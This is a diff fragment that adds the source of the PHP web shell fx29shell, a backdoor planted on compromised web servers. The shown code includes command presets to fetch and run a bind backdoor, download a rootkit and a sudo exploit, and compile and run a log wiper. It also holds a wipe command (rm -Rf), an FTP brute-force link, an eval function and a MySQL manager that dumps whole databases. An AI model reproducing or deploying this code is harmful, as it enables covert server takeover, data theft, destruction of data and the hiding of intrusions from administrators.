grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"), + array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find fx29shell in current dir", "find /c \"fx29\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +## PHP FILESYSTEM TRICKS (By FaTaLisTiCz_Fx) ## +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); +## QUICK LAUNCH ## +$quicklaunch1 = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("Security Info",$surl."act=security&d=%d"), + array("Processes",$surl."act=processes&d=%d"), + array("MySQL",$surl."act=sql&d=%d"), + array("Eval",$surl."act=eval&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Mailer",$surl."act=fxmailer"), + array("milw0rm",$millink), + array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"), + array("Toolz",$surl."act=tools&d=%d"), + array("Kill-Shell",$surl."act=selfremove"), + array("Feedback",$surl."act=feedback"), + array("Update",$surl."act=update"), + array("About",$surl."act=about") +); +if (!$win) { + $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d"); +} +## HIGHLIGHT CODE ## +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +#################### +##[ AUTHENTICATE ]## +#################### +$tmp = array(); +foreach ($auth["hostallow"] as $k => $v) { + $tmp[] = str_replace("\\*",".*",preg_quote($v)); +} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($auth["login"])) { + if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } + if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\""); + header("HTTP/1.0 401 Unauthorized"); + die($auth["denied"]); + } +} +## END AUTHENTICATE ## + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + if ($updatenow) { @ob_clean(); fx29sh_getupdate(1); exit; } + $sess_data = @unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) { $sess_data = array(); } + if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); } + if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); } + fx29_buff_prepare(); + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} + if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} + if (!function_exists("mysql_dump")) { + function mysql_dump($set) { + global $sh_ver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) { + //Retrieve tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = " + # Dumped by ".$sh_name." + # + # Host settings: + # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." + # Date: ".date("d.m.Y H:i:s")." + # DB: \"".$db."\" + #---------------------------------------------------------"; + $c = count($onlytabs); + foreach($tabs as $tab) { + if ((in_array($tab,$onlytabs)) or (!$c)) { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + //Receieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + //Receieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; + } + } + if (!function_exists("mysql_buildwhere")) { + function mysql_buildwhere($array,$sep=" and",$functs=array()) { + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; + } + } + if (!function_exists("mysql_fetch_all")) { + function mysql_fetch_all($query,$sock) { + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; + } + } + if (!function_exists("mysql_smarterror")) { + function mysql_smarterror($type,$sock) { + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; + } + } + if (!function_exists("mysql_query_form")) { + function mysql_query_form() { + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) { + echo "<table border=0><tr><td><form name=\"fx29sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.fx29sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} + } + } + if (!function_exists("mysql_create_db")) { + function mysql_create_db($db,$sock="") { + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} + } + } + if (!function_exists("mysql_query_parse")) { + function mysql_query_parse($query) { + $query = trim($query); + $arr = explode (" ",$query); + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) { + foreach($arr as $k=>$v) { + if (strtoupper($v) == "LIMIT") { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} + } + } + if ($act == "gofile") { + if (is_dir($f)) { $act = "ls"; $d = $f; } + else { $act = "f"; $d = dirname($f); $f = basename($f); } + } + ## HEADERS ## + @ob_start(); + @ob_implicit_flush(0); + header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); + header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", FALSE); + header("Pragma: no-cache"); + if (empty($tmpdir)) { + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} + } + $tmpdir = realpath($tmpdir); + $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); + if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} + if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} + else {$tmpdir_logs = realpath($tmpdir_logs);} + $sort = htmlspecialchars($sort); + if (empty($sort)) {$sort = $sort_default;} + $sort[1] = strtolower($sort[1]); + $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); + if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} + $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); + @ini_set("highlight.bg",$highlight_bg); + @ini_set("highlight.comment",$highlight_comment); + @ini_set("highlight.default",$highlight_default); + @ini_set("highlight.html",$highlight_html); + @ini_set("highlight.keyword",$highlight_keyword); + @ini_set("highlight.string",$highlight_string); + if (!is_array($actbox)) { $actbox = array(); } + $dspact = $act = htmlspecialchars($act); + $disp_fullpath = $ls_arr = $notls = null; + $ud = @urlencode($d); + if (empty($d)) {$d = realpath(".");} + elseif(realpath($d)) {$d = realpath($d);} + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $d = str_replace("\\\\","\\",$d); + $dispd = htmlspecialchars($d); + $safemode = safemode(); + if ($safemode) { + $hsafemode = "<font color=#3366FF><b>SAFE MODE IS ON</b></font>"; + $safemodeexecdir = @ini_get("safe_mode_exec_dir"); + } + else { $hsafemode = "<font color=#FF9900><b>SAFE MODE IS OFF</b></font>"; } + $v = @ini_get("open_basedir"); + if ($v or strtolower($v) == "on") { + $openbasedir = TRUE; + $hopenbasedir = "<font color=red>".$v."</font>"; + } + else { + $openbasedir = FALSE; + $hopenbasedir = "<font color=green>OFF (not secure)</font>"; + } + +################## +##[ HTML START ]## +################## +function srv_info($title,$contents) { + echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n"; +} +echo htmlhead($hsafemode); +echo "<table id=pagebar>"; +echo "<tr><td colspan=2>\n"; +echo "<div class=fleft>$hsafemode</div>\n"; +echo "<div class=fright>"; +echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ". + "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "</div>\n</td></tr>\n"; +echo "<tr><td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("Uname",php_uname()); +srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : fx29exec("id")); +echo "</table></td>\n". + "<td width=50%>\n"; +echo "<table class=info>\n"; +srv_info("Freespace",disp_freespace($d)); +echo "</table></td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo get_status(); +echo "</td></tr>\n"; +echo "<tr><td colspan=2>\n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : ""; +echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : ""; +echo "</td></tr>\n"; +echo "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch2) > 0) { + foreach($quicklaunch2 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td>\n". + "<tr><td colspan=2 id=mainmenu>\n"; +if (count($quicklaunch1) > 0) { + foreach($quicklaunch1 as $item) { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) { + $a = explode(DIRECTORY_SEPARATOR,$d); + unset($a[count($a)-2]); + $v = join(DIRECTORY_SEPARATOR,$a); + } + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n"; + } +} +echo "</td></tr>\n<tr><td colspan=2>"; +echo "<p class=fleft>\n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "<font color=#00FF00>[OK]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else { + $wd = FALSE; + $wdt = "<font color=red>[Read-Only]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +echo "\n</p>\n"; +?> +<div class=fright> +<form method="POST"><input type=hidden name=act value="ls"> +Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"> +</form> +</div> +</td></tr></table> +<?php +/***********************/ +/** INFORMATION TABLE **/ +/***********************/ +echo "<table id=maininfo><tr><td width=\"100%\">\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>". + "<table>". + "<tr><td width=\"100%\" colspan=2 class=barheader>"; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.<br>"; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + } + echo "</td></tr><tr>"; + if (!$sql_sock) { + echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">"; + echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>"; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade> + <?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"> + <?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form> + <?php + } + //End left panel + echo "</td><td width=\"100%\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="newtbl"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"> + <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"> + <input type="text" name="sql_newtbl" size="20"> + <input type="submit" value="Create"> + </form></td> + <td width="30%" height="1"><b>Dump DB:</b> + <form action="<?php echo $surl; ?>"> + <input type="hidden" name="act" value="sql"> + <input type="hidden" name="sql_act" value="dump"> + <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"> + 